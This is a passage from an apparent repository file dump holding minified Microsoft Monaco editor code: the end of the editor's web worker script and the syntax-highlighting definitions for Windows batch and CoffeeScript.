0;switch(y){case 40:m=!0,b=0;break;case 41:b=m?0:1;break;case 91:_=!0,b=0;break;case 93:b=_?0:1;break;case 123:g=!0,b=0;break;case 125:b=g?0:1;break;case 39:b=34===d||96===d?0:1;break;case 34:b=39===d||96===d?0:1;break;case 96:b=39===d||34===d?0:1;break;default:b=r.get(y)}1===b&&(s.push(e._createLink(r,l,u,h,f)),v=!0)}else 12===p?1===(b=r.get(y))?v=!0:p=13:0===(p=n.nextState(p,y))&&(v=!0);v&&(p=1,m=!1,_=!1,g=!1,h=f+1,d=y),f++}13===p&&s.push(e._createLink(r,l,u,h,c))}return s},e}();t.computeLinks=function(e){return e&&\"function\"==typeof e.getLineCount&&\"function\"==typeof e.getLineContent?f.computeLinks(e):[]}}),r(e[29],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(){this._defaultValueSet=[[\"true\",\"false\"],[\"True\",\"False\"],[\"Private\",\"Public\",\"Friend\",\"ReadOnly\",\"Partial\",\"Protected\",\"WriteOnly\"],[\"public\",\"protected\",\"private\"]]}return e.prototype.navigateValueSet=function(e,t,n,r,i){if(e&&t&&(o=this.doNavigateValueSet(t,i)))return{range:e,value:o};if(n&&r){var o=this.doNavigateValueSet(r,i);if(o)return{range:n,value:o}}return null},e.prototype.doNavigateValueSet=function(e,t){var n=this.numberReplace(e,t);return null!==n?n:this.textReplace(e,t)},e.prototype.numberReplace=function(e,t){var n=Math.pow(10,e.length-(e.lastIndexOf(\".\")+1)),r=Number(e),i=parseFloat(e);return isNaN(r)||isNaN(i)||r!==i?null:0!==r||t?(r=Math.floor(r*n),r+=t?n:-n,String(r/n)):null},e.prototype.textReplace=function(e,t){return this.valueSetsReplace(this._defaultValueSet,e,t)},e.prototype.valueSetsReplace=function(e,t,n){for(var r=null,i=0,o=e.length;null===r&&i<o;i++)r=this.valueSetReplace(e[i],t,n);return r},e.prototype.valueSetReplace=function(e,t,n){var r=e.indexOf(t);return r>=0?((r+=n?1:-1)<0?r=e.length-1:r%=e.length,e[r]):null},e.INSTANCE=new e,e}();t.BasicInplaceReplace=n}),r(e[30],t([1,0,9,21,3,5,22,2,13,23,6]),function(e,t,n,r,i,o,s,u,a,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var f;!function(e){e[e.Ignore=0]=\"Ignore\",e[e.Info=1]=\"Info\",e[e.Warning=2]=\"Warning\",e[e.Error=3]=\"Error\"}(f=t.Severity||(t.Severity={}));var h=function(){function e(){}return e.chord=function(e,t){return r.KeyChord(e,t)},e.CtrlCmd=2048,e.Shift=1024,e.Alt=512,e.WinCtrl=256,e}();t.KeyMod=h;var d;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Backspace=1]=\"Backspace\",e[e.Tab=2]=\"Tab\",e[e.Enter=3]=\"Enter\",e[e.Shift=4]=\"Shift\",e[e.Ctrl=5]=\"Ctrl\",e[e.Alt=6]=\"Alt\",e[e.PauseBreak=7]=\"PauseBreak\",e[e.CapsLock=8]=\"CapsLock\",e[e.Escape=9]=\"Escape\",e[e.Space=10]=\"Space\",e[e.PageUp=11]=\"PageUp\",e[e.PageDown=12]=\"PageDown\",e[e.End=13]=\"End\",e[e.Home=14]=\"Home\",e[e.LeftArrow=15]=\"LeftArrow\",e[e.UpArrow=16]=\"UpArrow\",e[e.RightArrow=17]=\"RightArrow\",e[e.DownArrow=18]=\"DownArrow\",e[e.Insert=19]=\"Insert\",e[e.Delete=20]=\"Delete\",e[e.KEY_0=21]=\"KEY_0\",e[e.KEY_1=22]=\"KEY_1\",e[e.KEY_2=23]=\"KEY_2\",e[e.KEY_3=24]=\"KEY_3\",e[e.KEY_4=25]=\"KEY_4\",e[e.KEY_5=26]=\"KEY_5\",e[e.KEY_6=27]=\"KEY_6\",e[e.KEY_7=28]=\"KEY_7\",e[e.KEY_8=29]=\"KEY_8\",e[e.KEY_9=30]=\"KEY_9\",e[e.KEY_A=31]=\"KEY_A\",e[e.KEY_B=32]=\"KEY_B\",e[e.KEY_C=33]=\"KEY_C\",e[e.KEY_D=34]=\"KEY_D\",e[e.KEY_E=35]=\"KEY_E\",e[e.KEY_F=36]=\"KEY_F\",e[e.KEY_G=37]=\"KEY_G\",e[e.KEY_H=38]=\"KEY_H\",e[e.KEY_I=39]=\"KEY_I\",e[e.KEY_J=40]=\"KEY_J\",e[e.KEY_K=41]=\"KEY_K\",e[e.KEY_L=42]=\"KEY_L\",e[e.KEY_M=43]=\"KEY_M\",e[e.KEY_N=44]=\"KEY_N\",e[e.KEY_O=45]=\"KEY_O\",e[e.KEY_P=46]=\"KEY_P\",e[e.KEY_Q=47]=\"KEY_Q\",e[e.KEY_R=48]=\"KEY_R\",e[e.KEY_S=49]=\"KEY_S\",e[e.KEY_T=50]=\"KEY_T\",e[e.KEY_U=51]=\"KEY_U\",e[e.KEY_V=52]=\"KEY_V\",e[e.KEY_W=53]=\"KEY_W\",e[e.KEY_X=54]=\"KEY_X\",e[e.KEY_Y=55]=\"KEY_Y\",e[e.KEY_Z=56]=\"KEY_Z\",e[e.Meta=57]=\"Meta\",e[e.ContextMenu=58]=\"ContextMenu\",e[e.F1=59]=\"F1\",e[e.F2=60]=\"F2\",e[e.F3=61]=\"F3\",e[e.F4=62]=\"F4\",e[e.F5=63]=\"F5\",e[e.F6=64]=\"F6\",e[e.F7=65]=\"F7\",e[e.F8=66]=\"F8\",e[e.F9=67]=\"F9\",e[e.F10=68]=\"F10\",e[e.F11=69]=\"F11\",e[e.F12=70]=\"F12\",e[e.F13=71]=\"F13\",e[e.F14=72]=\"F14\",e[e.F15=73]=\"F15\",e[e.F16=74]=\"F16\",e[e.F17=75]=\"F17\",e[e.F18=76]=\"F18\",e[e.F19=77]=\"F19\",e[e.NumLock=78]=\"NumLock\",e[e.ScrollLock=79]=\"ScrollLock\",e[e.US_SEMICOLON=80]=\"US_SEMICOLON\",e[e.US_EQUAL=81]=\"US_EQUAL\",e[e.US_COMMA=82]=\"US_COMMA\",e[e.US_MINUS=83]=\"US_MINUS\",e[e.US_DOT=84]=\"US_DOT\",e[e.US_SLASH=85]=\"US_SLASH\",e[e.US_BACKTICK=86]=\"US_BACKTICK\",e[e.US_OPEN_SQUARE_BRACKET=87]=\"US_OPEN_SQUARE_BRACKET\",e[e.US_BACKSLASH=88]=\"US_BACKSLASH\",e[e.US_CLOSE_SQUARE_BRACKET=89]=\"US_CLOSE_SQUARE_BRACKET\",e[e.US_QUOTE=90]=\"US_QUOTE\",e[e.OEM_8=91]=\"OEM_8\",e[e.OEM_102=92]=\"OEM_102\",e[e.NUMPAD_0=93]=\"NUMPAD_0\",e[e.NUMPAD_1=94]=\"NUMPAD_1\",e[e.NUMPAD_2=95]=\"NUMPAD_2\",e[e.NUMPAD_3=96]=\"NUMPAD_3\",e[e.NUMPAD_4=97]=\"NUMPAD_4\",e[e.NUMPAD_5=98]=\"NUMPAD_5\",e[e.NUMPAD_6=99]=\"NUMPAD_6\",e[e.NUMPAD_7=100]=\"NUMPAD_7\",e[e.NUMPAD_8=101]=\"NUMPAD_8\",e[e.NUMPAD_9=102]=\"NUMPAD_9\",e[e.NUMPAD_MULTIPLY=103]=\"NUMPAD_MULTIPLY\",e[e.NUMPAD_ADD=104]=\"NUMPAD_ADD\",e[e.NUMPAD_SEPARATOR=105]=\"NUMPAD_SEPARATOR\",e[e.NUMPAD_SUBTRACT=106]=\"NUMPAD_SUBTRACT\",e[e.NUMPAD_DECIMAL=107]=\"NUMPAD_DECIMAL\",e[e.NUMPAD_DIVIDE=108]=\"NUMPAD_DIVIDE\",e[e.KEY_IN_COMPOSITION=109]=\"KEY_IN_COMPOSITION\",e[e.ABNT_C1=110]=\"ABNT_C1\",e[e.ABNT_C2=111]=\"ABNT_C2\",e[e.MAX_VALUE=112]=\"MAX_VALUE\"}(d=t.KeyCode||(t.KeyCode={})),t.createMonacoBaseAPI=function(){return{editor:void 0,languages:void 0,CancellationTokenSource:a.CancellationTokenSource,Emitter:n.Emitter,KeyCode:d,KeyMod:h,Position:i.Position,Range:o.Range,Selection:s.Selection,SelectionDirection:s.SelectionDirection,Severity:f,Promise:u.TPromise,Uri:c.default,Token:l.Token}}}),r(e[19],t([1,0,7]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){return function(e,t){this.index=e,this.remainder=t}}();t.PrefixSumIndexOfResult=r;var i=function(){function e(e){this.values=e,this.prefixSum=new Uint32Array(e.length),this.prefixSumValidIndex=new Int32Array(1),this.prefixSumValidIndex[0]=-1}return e.prototype.getCount=function(){return this.values.length},e.prototype.insertValues=function(e,t){e=n.toUint32(e);var r=this.values,i=this.prefixSum,o=t.length;return 0!==o&&(this.values=new Uint32Array(r.length+o),this.values.set(r.subarray(0,e),0),this.values.set(r.subarray(e),e+o),this.values.set(t,e),e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),this.prefixSum=new Uint32Array(this.values.length),this.prefixSumValidIndex[0]>=0&&this.prefixSum.set(i.subarray(0,this.prefixSumValidIndex[0]+1)),!0)},e.prototype.changeValue=function(e,t){return e=n.toUint32(e),t=n.toUint32(t),this.values[e]!==t&&(this.values[e]=t,e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),!0)},e.prototype.removeValues=function(e,t){e=n.toUint32(e),t=n.toUint32(t);var r=this.values,i=this.prefixSum;if(e>=r.length)return!1;var o=r.length-e;return t>=o&&(t=o),0!==t&&(this.values=new Uint32Array(r.length-t),this.values.set(r.subarray(0,e),0),this.values.set(r.subarray(e+t),e),this.prefixSum=new Uint32Array(this.values.length),e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),this.prefixSumValidIndex[0]>=0&&this.prefixSum.set(i.subarray(0,this.prefixSumValidIndex[0]+1)),!0)},e.prototype.getTotalValue=function(){return 0===this.values.length?0:this._getAccumulatedValue(this.values.length-1)},e.prototype.getAccumulatedValue=function(e){return e<0?0:(e=n.toUint32(e),this._getAccumulatedValue(e))},e.prototype._getAccumulatedValue=function(e){if(e<=this.prefixSumValidIndex[0])return this.prefixSum[e];var t=this.prefixSumValidIndex[0]+1;0===t&&(this.prefixSum[0]=this.values[0],t++),e>=this.values.length&&(e=this.values.length-1);for(var n=t;n<=e;n++)this.prefixSum[n]=this.prefixSum[n-1]+this.values[n];return this.prefixSumValidIndex[0]=Math.max(this.prefixSumValidIndex[0],e),this.prefixSum[e]},e.prototype.getIndexOf=function(e){e=Math.floor(e),this.getTotalValue();for(var t,n,i,o=0,s=this.values.length-1;o<=s;)if(t=o+(s-o)/2|0,n=this.prefixSum[t],i=n-this.values[t],e<i)s=t-1;else{if(!(e>=n))break;o=t+1}return new r(t,e-i)},e}();t.PrefixSumComputer=i;var o=function(){function e(e){this._cacheAccumulatedValueStart=0,this._cache=null,this._actual=new i(e),this._bustCache()}return e.prototype._bustCache=function(){this._cacheAccumulatedValueStart=0,this._cache=null},e.prototype.getCount=function(){return this._actual.getCount()},e.prototype.insertValues=function(e,t){this._actual.insertValues(e,t)&&this._bustCache()},e.prototype.changeValue=function(e,t){this._actual.changeValue(e,t)&&this._bustCache()},e.prototype.removeValues=function(e,t){this._actual.removeValues(e,t)&&this._bustCache()},e.prototype.getTotalValue=function(){return this._actual.getTotalValue()},e.prototype.getAccumulatedValue=function(e){return this._actual.getAccumulatedValue(e)},e.prototype.getIndexOf=function(e){if(e=Math.floor(e),null!==this._cache){var t=e-this._cacheAccumulatedValueStart;if(t>=0&&t<this._cache.length)return this._cache[t]}return this._actual.getIndexOf(e)},e.prototype.warmUpCache=function(e,t){for(var n=[],r=e;r<=t;r++)n[r-e]=this.getIndexOf(r);this._cache=n,this._cacheAccumulatedValueStart=e},e}();t.PrefixSumComputerWithCache=o}),r(e[24],t([1,0,19]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n,r){this._uri=e,this._lines=t,this._eol=n,this._versionId=r}return e.prototype.dispose=function(){this._lines.length=0},Object.defineProperty(e.prototype,\"version\",{get:function(){return this._versionId},enumerable:!0,configurable:!0}),e.prototype.getText=function(){return this._lines.join(this._eol)},e.prototype.onEvents=function(e){e.eol&&e.eol!==this._eol&&(this._eol=e.eol,this._lineStarts=null);for(var t=e.changes,n=0,r=t.length;n<r;n++){var i=t[n];this._acceptDeleteRange(i.range),this._acceptInsertText({lineNumber:i.range.startLineNumber,column:i.range.startColumn},i.text)}this._versionId=e.versionId},e.prototype._ensureLineStarts=function(){if(!this._lineStarts){for(var e=this._eol.length,t=this._lines.length,r=new Uint32Array(t),i=0;i<t;i++)r[i]=this._lines[i].length+e;this._lineStarts=new n.PrefixSumComputer(r)}},e.prototype._setLineText=function(e,t){this._lines[e]=t,this._lineStarts&&this._lineStarts.changeValue(e,this._lines[e].length+this._eol.length)},e.prototype._acceptDeleteRange=function(e){if(e.startLineNumber!==e.endLineNumber)this._setLineText(e.startLineNumber-1,this._lines[e.startLineNumber-1].substring(0,e.startColumn-1)+this._lines[e.endLineNumber-1].substring(e.endColumn-1)),this._lines.splice(e.startLineNumber,e.endLineNumber-e.startLineNumber),this._lineStarts&&this._lineStarts.removeValues(e.startLineNumber,e.endLineNumber-e.startLineNumber);else{if(e.startColumn===e.endColumn)return;this._setLineText(e.startLineNumber-1,this._lines[e.startLineNumber-1].substring(0,e.startColumn-1)+this._lines[e.startLineNumber-1].substring(e.endColumn-1))}},e.prototype._acceptInsertText=function(e,t){if(0!==t.length){var n=t.split(/\\r\\n|\\r|\\n/);if(1!==n.length){n[n.length-1]+=this._lines[e.lineNumber-1].substring(e.column-1),this._setLineText(e.lineNumber-1,this._lines[e.lineNumber-1].substring(0,e.column-1)+n[0]);for(var r=new Uint32Array(n.length-1),i=1;i<n.length;i++)this._lines.splice(e.lineNumber+i-1,0,n[i]),r[i-1]=n[i].length+this._eol.length;this._lineStarts&&this._lineStarts.insertValues(e.lineNumber,r)}else this._setLineText(e.lineNumber-1,this._lines[e.lineNumber-1].substring(0,e.column-1)+n[0]+this._lines[e.lineNumber-1].substring(e.column-1))}},e}();t.MirrorModel=r}),r(e[33],t([1,0,6,2,5,26,12,3,24,28,29,27,30]),function(e,t,n,r,i,s,u,a,l,c,f,h,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),Object.defineProperty(t.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"version\",{get:function(){return this._versionId},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"eol\",{get:function(){return this._eol},enumerable:!0,configurable:!0}),t.prototype.getValue=function(){return this.getText()},t.prototype.getLinesContent=function(){return this._lines.slice(0)},t.prototype.getLineCount=function(){return this._lines.length},t.prototype.getLineContent=function(e){return this._lines[e-1]},t.prototype.getWordAtPosition=function(e,t){var n=h.getWordAtText(e.column,h.ensureValidWordDefinition(t),this._lines[e.lineNumber-1],0);return n?new i.Range(e.lineNumber,n.startColumn,e.lineNumber,n.endColumn):null},t.prototype.getWordUntilPosition=function(e,t){var n=this.getWordAtPosition(e,t);return n?{word:this._lines[e.lineNumber-1].substring(n.startColumn-1,e.column-1),startColumn:n.startColumn,endColumn:e.column}:{word:\"\",startColumn:e.column,endColumn:e.column}},t.prototype._getAllWords=function(e){var t=this,n=[];return this._lines.forEach(function(r){t._wordenize(r,e).forEach(function(e){n.push(r.substring(e.start,e.end))})}),n},t.prototype.getAllUniqueWords=function(e,t){var n=!1,r=Object.create(null);return this._getAllWords(e).filter(function(e){return t&&!n&&t===e?(n=!0,!1):!r[e]&&(r[e]=!0,!0)})},t.prototype._wordenize=function(e,t){var n,r=[];for(t.lastIndex=0;(n=t.exec(e))&&0!==n[0].length;)r.push({start:n.index,end:n.index+n[0].length});return r},t.prototype.getValueInRange=function(e){if((e=this._validateRange(e)).startLineNumber===e.endLineNumber)return this._lines[e.startLineNumber-1].substring(e.startColumn-1,e.endColumn-1);var t=this._eol,n=e.startLineNumber-1,r=e.endLineNumber-1,i=[];i.push(this._lines[n].substring(e.startColumn-1));for(var o=n+1;o<r;o++)i.push(this._lines[o]);return i.push(this._lines[r].substring(0,e.endColumn-1)),i.join(t)},t.prototype.offsetAt=function(e){return e=this._validatePosition(e),this._ensureLineStarts(),this._lineStarts.getAccumulatedValue(e.lineNumber-2)+(e.column-1)},t.prototype.positionAt=function(e){e=Math.floor(e),e=Math.max(0,e),this._ensureLineStarts();var t=this._lineStarts.getIndexOf(e),n=this._lines[t.index].length;return{lineNumber:1+t.index,column:1+Math.min(t.remainder,n)}},t.prototype._validateRange=function(e){var t=this._validatePosition({lineNumber:e.startLineNumber,column:e.startColumn}),n=this._validatePosition({lineNumber:e.endLineNumber,column:e.endColumn});return t.lineNumber!==e.startLineNumber||t.column!==e.startColumn||n.lineNumber!==e.endLineNumber||n.column!==e.endColumn?{startLineNumber:t.lineNumber,startColumn:t.column,endLineNumber:n.lineNumber,endColumn:n.column}:e},t.prototype._validatePosition=function(e){if(!a.Position.isIPosition(e))throw new Error(\"bad position\");var t=e.lineNumber,n=e.column,r=!1;if(t<1)t=1,n=1,r=!0;else if(t>this._lines.length)t=this._lines.length,n=this._lines[t-1].length+1,r=!0;else{var i=this._lines[t-1].length+1;n<1?(n=1,r=!0):n>i&&(n=i,r=!0)}return r?{lineNumber:t,column:n}:e},t}(l.MirrorModel),m=function(){function e(){this._foreignModule=null}return e.prototype.computeDiff=function(e,t,n){var i=this._getModel(e),o=this._getModel(t);if(!i||!o)return null;var u=i.getLinesContent(),a=o.getLinesContent(),l=new s.DiffComputer(u,a,{shouldPostProcessCharChanges:!0,shouldIgnoreTrimWhitespace:n,shouldConsiderTrimWhitespaceInEmptyCase:!0,shouldMakePrettyDiff:!0});return r.TPromise.as(l.computeDiff())},e.prototype.computeDirtyDiff=function(e,t,n){var i=this._getModel(e),o=this._getModel(t);if(!i||!o)return null;var u=i.getLinesContent(),a=o.getLinesContent(),l=new s.DiffComputer(u,a,{shouldPostProcessCharChanges:!1,shouldIgnoreTrimWhitespace:n,shouldConsiderTrimWhitespaceInEmptyCase:!1,shouldMakePrettyDiff:!0});return r.TPromise.as(l.computeDiff())},e.prototype.computeMoreMinimalEdits=function(t,n,o){var s=this._getModel(t);if(!s)return r.TPromise.as(n);for(var a,l=[],c=0,f=n;c<f.length;c++){var h=f[c],d=h.range,p=h.text,m=h.eol;if(\"number\"==typeof m&&(a=m),d){var _=s.getValueInRange(d);if(p=p.replace(/\\r\\n|\\n|\\r/g,s.eol),_!==p)if(Math.max(p.length,_.length)>e._diffLimit)l.push({range:d,text:p});else for(var g=u.stringDiff(_,p,!1),v=s.offsetAt(i.Range.lift(d).getStartPosition()),y=0,b=g;y<b.length;y++){var C=b[y],E=s.positionAt(v+C.originalStart),S=s.positionAt(v+C.originalStart+C.originalLength),L={text:p.substr(C.modifiedStart,C.modifiedLength),range:{startLineNumber:E.lineNumber,startColumn:E.column,endLineNumber:S.lineNumber,endColumn:S.column}};s.getValueInRange(L.range)!==L.text&&l.push(L)}}}return\"number\"==typeof a&&l.push({eol:a,text:void 0,range:void 0}),r.TPromise.as(l)},e.prototype.computeLinks=function(e){var t=this._getModel(e);return t?r.TPromise.as(c.computeLinks(t)):null},e.prototype.textualSuggest=function(e,t,n,i){var o=this._getModel(e);if(o){for(var s=[],u=new RegExp(n,i),a=o.getWordUntilPosition(t,u).word,l=0,c=o.getAllUniqueWords(u);l<c.length;l++){var f=c[l];f!==a&&isNaN(Number(f))&&s.push({type:\"text\",label:f,insertText:f,noAutoAccept:!0,overwriteBefore:a.length})}return r.TPromise.as({suggestions:s})}},e.prototype.navigateValueSet=function(e,t,n,i,o){var s=this._getModel(e);if(!s)return null;var u=new RegExp(i,o);t.startColumn===t.endColumn&&(t={startLineNumber:t.startLineNumber,startColumn:t.startColumn,endLineNumber:t.endLineNumber,endColumn:t.endColumn+1});var a=s.getValueInRange(t),l=s.getWordAtPosition({lineNumber:t.startLineNumber,column:t.startColumn},u),c=null;null!==l&&(c=s.getValueInRange(l));var h=f.BasicInplaceReplace.INSTANCE.navigateValueSet(t,a,l,c,n);return r.TPromise.as(h)},e.prototype.loadForeignModule=function(e,t){var n=this;return new r.TPromise(function(r,i){self.require([e],function(e){var i={getMirrorModels:function(){return n._getModels()}};n._foreignModule=e.create(i,t);var o=[];for(var s in n._foreignModule)\"function\"==typeof n._foreignModule[s]&&o.push(s);r(o)},i)})},e.prototype.fmr=function(e,t){if(!this._foreignModule||\"function\"!=typeof this._foreignModule[e])return r.TPromise.wrapError(new Error(\"Missing requestHandler or method: \"+e));try{return r.TPromise.as(this._foreignModule[e].apply(this._foreignModule,t))}catch(e){return r.TPromise.wrapError(e)}},e._diffLimit=1e4,e}();t.BaseEditorSimpleWorker=m;var _=function(e){function t(){var t=e.call(this)||this;return t._models=Object.create(null),t}return o(t,e),t.prototype.dispose=function(){this._models=Object.create(null)},t.prototype._getModel=function(e){return this._models[e]},t.prototype._getModels=function(){var e=this,t=[];return Object.keys(this._models).forEach(function(n){return t.push(e._models[n])}),t},t.prototype.acceptNewModel=function(e){this._models[e.url]=new p(n.default.parse(e.url),e.lines,e.EOL,e.versionId)},t.prototype.acceptModelChanged=function(e,t){this._models[e]&&this._models[e].onEvents(t)},t.prototype.acceptRemovedModel=function(e){this._models[e]&&delete this._models[e]},t}(m);t.EditorSimpleWorkerImpl=_,t.create=function(){return new _};var g=self;\"function\"==typeof g.importScripts&&(g.monaco=d.createMonacoBaseAPI())}),function(){\"use strict\";var e=self.MonacoEnvironment,t=e&&e.baseUrl?e.baseUrl:\"../../../\";\"function\"==typeof self.define&&self.define.amd||importScripts(t+\"vs/loader.js\"),require.config({baseUrl:t,catchError:!0});var n=function(e){require([e],function(e){setTimeout(function(){var t=e.create(function(e){self.postMessage(e)},null);for(self.onmessage=function(e){return t.onmessage(e.data)};i.length>0;)self.onmessage(i.shift())},0)})},r=!0,i=[];self.onmessage=function(e){r?(r=!1,n(e.data)):i.push(e)}}()}).call(this);\n//# sourceMappingURL=../../../../min-maps/vs/base/worker/workerMain.js.map"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/bat.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/bat\",[\"require\",\"exports\"],function(e,s){\"use strict\";Object.defineProperty(s,\"__esModule\",{value:!0}),s.conf={comments:{lineComment:\"REM\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'}],surroundingPairs:[{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'}]},s.language={defaultToken:\"\",ignoreCase:!0,tokenPostfix:\".bat\",brackets:[{token:\"delimiter.bracket\",open:\"{\",close:\"}\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"},{token:\"delimiter.square\",open:\"[\",close:\"]\"}],keywords:/call|defined|echo|errorlevel|exist|for|goto|if|pause|set|shift|start|title|not|pushd|popd/,symbols:/[=><!~?&|+\\-*\\/\\^;\\.,]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/^(\\s*)(rem(?:\\s.*|))$/,[\"\",\"comment\"]],[/(\\@?)(@keywords)(?!\\w)/,[{token:\"keyword\"},{token:\"keyword.$2\"}]],[/[ \\t\\r\\n]+/,\"\"],[/setlocal(?!\\w)/,\"keyword.tag-setlocal\"],[/endlocal(?!\\w)/,\"keyword.tag-setlocal\"],[/[a-zA-Z_]\\w*/,\"\"],[/:\\w*/,\"metatag\"],[/%[^%]+%/,\"variable\"],[/%%[\\w]+(?!\\w)/,\"variable\"],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/0[xX][0-9a-fA-F_]*[0-9a-fA-F]/,\"number.hex\"],[/\\d+/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"/,\"string\",'@string.\"'],[/'/,\"string\",\"@string.'\"]],string:[[/[^\\\\\"'%]+/,{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/%[\\w ]+%/,\"variable\"],[/%%[\\w]+(?!\\w)/,\"variable\"],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}],[/$/,\"string\",\"@popall\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/coffee.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/coffee\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\#%\\^\\&\\*\\(\\)\\=\\$\\-\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,comments:{blockComment:[\"###\",\"###\"],lineComment:\"#\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",ignoreCase:!0,tokenPostfix:\".coffee\",brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"}],regEx:/\\/(?!\\/\\/)(?:[^\\/\\\\]|\\\\.)*\\/[igm]*/,keywords:[\"and\",\"or\",\"is\",\"isnt\",\"not\",\"on\",\"yes\",\"@\",\"no\",\"off\",\"true\",\"false\",\"null\",\"this\",\"new\",\"delete\",\"typeof\",\"in\",\"instanceof\",\"return\",\"throw\",\"break\",\"continue\",\"debugger\",\"if\",\"else\",\"switch\",\"for\",\"while\",\"do\",\"try\",\"catch\",\"finally\",\"class\",\"extends\",\"super\",\"undefined\",\"then\",\"unless\",\"until\",\"loop\",\"of\",\"by\",\"when\"],symbols:/[=><!~?&%|+\\-*\\/\\^\\.,\\:]+/,escapes:/\\\\(?:[abfnrtv\\\\\"'$]|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/\\@[a-zA-Z_]\\w*/,\"variable.predefined\"],[/[a-zA-Z_]\\w*/,{cases:{this:\"variable.predefined\",\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"\"}}],[/[ \\t\\r\\n]+/,\"\"],[/###/,\"comment\",\"@comment\"],[/#.*$/,\"comment\"],[\"///\",{token:\"regexp\",next:\"@hereregexp\"}],[/^(\\s*)(@regEx)/,[\"\",\"regexp\"]],[/(\\()(\\s*)(@regEx)/,[\"@brackets\",\"\",\"regexp\"]],[/(\\,)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\=)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\:)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\[)(\\s*)(@regEx)/,[\"@brackets\",\"\",\"regexp\"]],[/(\\!)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\&)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\|)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\?)(\\s*)(@regEx)/,[\"delimiter\",\"\",\"regexp\"]],[/(\\{)(\\s*)(@regEx)/,[\"@brackets\",\"\",\"regexp\"]],[/(\\;)(\\s*)(@regEx)/,[\"\",\"\",\"regexp\"]],[/}/,{cases:{\"$S2==interpolatedstring\":{token:\"string\",next:\"@pop\"},\"@default\":\"@brackets\"}}],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\\d+[eE]([\\-+]?\\d+)?/,\"number.float\"],[/\\d+\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/0[xX][0-9a-fA-F]+/,\"number.hex\"],[/0[0-7]+(?!\\d)/,\"number.octal\"],[/\\d+/,\"number\"],[/[,.]/,\"delimiter\"],[/\"\"\"/,\"string\",'@herestring.\"\"\"'],[/'''/,\"string\",\"@herestring.'''\"],[/\"/,{cases:{\"@eos\":\"string\",\"@default\":{token:\"string\",next:'@string.\"'}}}],[/'/,{cases:{\"@eos\":\"string\",\"@default\":{token:\"string\",next:\"@string.'\"}}